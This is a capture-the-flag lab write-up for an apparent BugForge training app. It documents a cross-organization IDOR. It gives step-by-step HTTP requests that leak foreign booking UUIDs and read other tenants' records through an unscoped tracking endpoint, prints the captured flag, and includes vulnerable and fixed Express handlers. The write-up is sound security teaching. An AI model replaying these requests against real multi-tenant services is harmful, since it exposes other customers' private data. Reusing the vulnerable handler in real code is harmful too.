Galazy Dash: Cross-Organization IDOR via Sibling-Endpoint Authorization Drift
Executive Summary
Galazy Dash is a Futurama-themed interstellar courier app: React SPA frontend, Express backend, SQL persistence, multi-tenant by organization with HS256 JWT auth. Testing confirmed one finding: a cross-organization IDOR on GET /api/bookings/:uuid/tracking, chained off a UUID disclosure from GET /api/network/status.
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Cross-Organization IDOR on tracking endpoint | High | 6.5 | CWE-639, CWE-285 | GET /api/bookings/:uuid/tracking |
F1 lets any authenticated user read every other organization’s booking detail: cargo description, cargo weight, hazard level, total price, origin and destination. The flag was returned as a value inside the cargo_description field of a seeded foreign-organization booking.
Objective
Identify and exploit security defects in the Galazy Dash multi-tenant courier application (BugForge medium-tier lab).
Scope / Initial Access
# Target Application
URL: https://lab-1778893821499-305i28.labs-app.bugforge.io
# Auth
POST /api/register creates an organization and the first user as org_admin.
JWT (HS256) with payload {id, username, organizationId, iat}.
No role or permission claim in the JWT, the server re-resolves on each request.
Token stored in localStorage("token").
# Test account
Username: haxor
Organization id: 4 (assigned by the server on register)
User id: 5
Role: org_admin
The org_admin role is granted by default to the first user of a freshly registered organization. The exploited finding does not depend on it, the IDOR fires from any authenticated identity.
Reconnaissance: Mapping the Multi-Tenant Surface
The React SPA shipped a single CRA-built bundle (~257 KB, main.1b7acf58.js) that named the full API surface in axios call sites and route declarations. JWT structure was inspected after login.
- The JWT carries
organizationIdbut no role or permission claim. Each request is re-authorized server-side, which means each route is its own authorization decision and authorization cannot be reasoned about from the token alone. GET /api/network/statusis wired up to a “Recent Network Shipments” dashboard widget. The response body containsrecent_shipments[]entries withtracking_id(booking UUID), origin, destination, status, and service. The UUIDs returned reference bookings owned by organizations other than ours.- Three detail endpoints take a booking UUID as a path parameter:
GET /api/bookings/:uuid,GET /api/bookings/:uuid/tracking, andGET /api/invoices/:uuid. They look like three views of the same resource.
Observation (3) combined with the foreign UUIDs from (2) framed the probe: send the same foreign UUID to all three sibling routes with our Bearer and diff the responses.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express, weak ETag) |
| Frontend | React SPA, CRA-built, single bundle |
| Auth | HS256 JWT, payload {id, username, organizationId, iat} |
| Database | SQL, snake_case columns, integer PKs for org/user/location, UUID v4 for bookings |
| Multi-tenancy | Organization owns users, users have role and permissions |
API Surface (relevant subset)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | none | Creates org and first user as org_admin |
| /api/login | POST | none | Returns JWT |
| /api/network/status | GET | Bearer | Discloses foreign-org tracking UUIDs |
| /api/bookings/:uuid | GET | Bearer | Organization-scoped, 404 on foreign UUID |
| /api/bookings/:uuid/tracking | GET | Bearer | Not organization-scoped, vulnerable |
| /api/invoices/:uuid | GET | Bearer | Organization-scoped, 404 on foreign UUID |
Known Identities
| Username | Org ID | User ID | Role |
|---|---|---|---|
| haxor | 4 | 5 | org_admin |
Attack Chain Visualization
┌────────────────────┐ ┌──────────────────────┐ ┌──────────────────────────────┐
│ Register / log in │ ▶ │ GET /network/status │ ▶ │ GET /bookings/<foreign-uuid> │
│ as standard user │ │ → recent_shipments[] │ │ /tracking with our Bearer │
│ → JWT (org id 4) │ │ foreign UUIDs leak │ │ → 200, full booking record │
└────────────────────┘ └──────────────────────┘ └───────────────┬──────────────┘
│
▼
┌──────────────────────────────┐
│ cargo_description = bug{...} │
└──────────────────────────────┘
Findings
F1: Cross-Organization IDOR on Tracking Endpoint
Severity: High (Medium by raw CVSS math, High by lab-finding importance)
CVSS v3.1: 6.5, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-285 (Improper Authorization)
Endpoint: GET /api/bookings/:uuid/tracking
Authentication required: Yes (any registered user)
Description
GET /api/bookings/:uuid/tracking returns the full booking record for any UUID supplied in the path without filtering by the requester’s organization. The two sibling detail endpoints, GET /api/bookings/:uuid and GET /api/invoices/:uuid, return 404 for the same foreign UUID, indicating they enforce an organization-scope check that the /tracking route omits.
The foreign UUIDs required to exercise this are not guessable but are returned by GET /api/network/status as part of a dashboard data feed, removing the discovery cost.
The record returned by the vulnerable route includes cargo_description, cargo_weight_kg, hazard and danger level, total_price, origin_location_id, destination_location_id, status, and timestamps.
Impact
Any authenticated user can read every other organization’s booking details, including cargo, prices, and destinations.
Reproduction
Step 1: Register a standard user
POST /api/register HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Content-Type: application/json
{
"username": "haxor",
"password": "...",
"organization_name": "haxor-corp",
"business_type": "courier"
}
Response: 200 with a JWT and user object. The server assigns the organization id (4 in this run).
Step 2: Harvest a foreign tracking UUID
GET /api/network/status HTTP/1.1
Host: lab-1778893821499-305i28.labs-app.bugforge.io
Authorization: Bearer <JWT>
Response: 200.
{
"recent_shipments": [
{
"tracking_id": "2578085f-c877-4cf5-9127-1012312c175c",
"origin": "...",
"destination": "...",
"status": "pending",
"service": "..."
}
]
}
The tracking_id belongs to a booking owned by an organization other than ours.
Step 3: Confirm the sibling endpoints are organization-scoped
GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>
Response: 404 {"error":"Booking not found"}.
GET /api/invoices/2578085f-c877-4cf5-9127-1012312c175c HTTP/1.1
Authorization: Bearer <JWT>
Response: 404 {"error":"Booking not found"}. Both responses indicate organization scope is enforced on these routes.
Step 4: Exploit the unscoped sibling
GET /api/bookings/2578085f-c877-4cf5-9127-1012312c175c/tracking HTTP/1.1
Authorization: Bearer <JWT>
Response: 200 with the full booking record.
{
"id": "2578085f-c877-4cf5-9127-1012312c175c",
"organization_id": 2,
"cargo_description": "bug{bXOWD6igWjOe5xjSWmTRJc55cy739MUR}",
"cargo_weight_kg": "...",
"total_price": "...",
"origin_location_id": "...",
"destination_location_id": "...",
"status": "pending"
}
The booking’s organization_id is 2, our JWT carries organizationId: 4. The server returned the record regardless.
Remediation
Fix 1: Apply organization scope to the tracking handler
// BEFORE (Vulnerable)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
const booking = await db.bookings.findOne({
where: { id: req.params.uuid }
});
if (!booking) return res.status(404).json({ error: 'Booking not found' });
return res.json(booking);
});
// AFTER (Secure)
app.get('/api/bookings/:uuid/tracking', requireAuth, async (req, res) => {
const booking = await db.bookings.findOne({
where: {
id: req.params.uuid,
organization_id: req.user.organization_id
}
});
if (!booking) return res.status(404).json({ error: 'Booking not found' });
return res.json(booking);
});
Fix 2: Centralize the lookup so all three sibling routes share one authorization decision
async function getBookingForUser(uuid, user) {
return db.bookings.findOne({
where: { id: uuid, organization_id: user.organization_id }
});
}
app.get('/api/bookings/:uuid', requireAuth, handle(getBookingForUser));
app.get('/api/bookings/:uuid/tracking', requireAuth, handle(getBookingForUser));
app.get('/api/invoices/:uuid', requireAuth, handle(getBookingForUser));
A single helper enforces the scope filter at one site, eliminating the per-route drift that produced the bug.
Additional recommendations:
- Reconsider what
/api/network/statusdiscloses. The dashboard widget could show aggregate counts or status without exposing tracking UUIDs of foreign organizations. - Add automated test coverage that asserts every booking-detail route returns 404 for a UUID owned by a different organization. A parametrized test across the three sibling routes would have caught the drift.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: The tracking endpoint omits the organization-scope filter that the two sibling detail endpoints apply, allowing horizontal access to records owned by other tenants.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercept, edit, replay (path swap preserving Bearer) |
| Bundle inspection | API surface mapping from the React SPA |
References
- CWE-639: Authorization Bypass Through User-Controlled Key. https://cwe.mitre.org/data/definitions/639.html
- CWE-285: Improper Authorization. https://cwe.mitre.org/data/definitions/285.html
- OWASP API Security Top 10, API1:2023 Broken Object Level Authorization
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| GET /api/bookings/<foreign-uuid> | 404 “Booking not found” | Handler applies organization-scope filter |
| GET /api/invoices/<foreign-uuid> | 404 “Booking not found” | Handler applies organization-scope filter |
H2 through H7 (mass-assignment on PUT /api/organization and POST /api/team, client-side price tampering on POST /api/bookings, SQLi on ?status= / numeric params, JWT alg=none and weak HS256 secret, cross-org PUT /api/team/:id, stored XSS or SSTI on invoice rendering) were carried in the test plan but not exercised. The flag was captured in three requests via F1 and the engagement ended.
Tags: #idor #multi-tenant #authorization #sibling-endpoint-drift #bugforge
Document Version: 1.0
Last Updated: 2026-05-16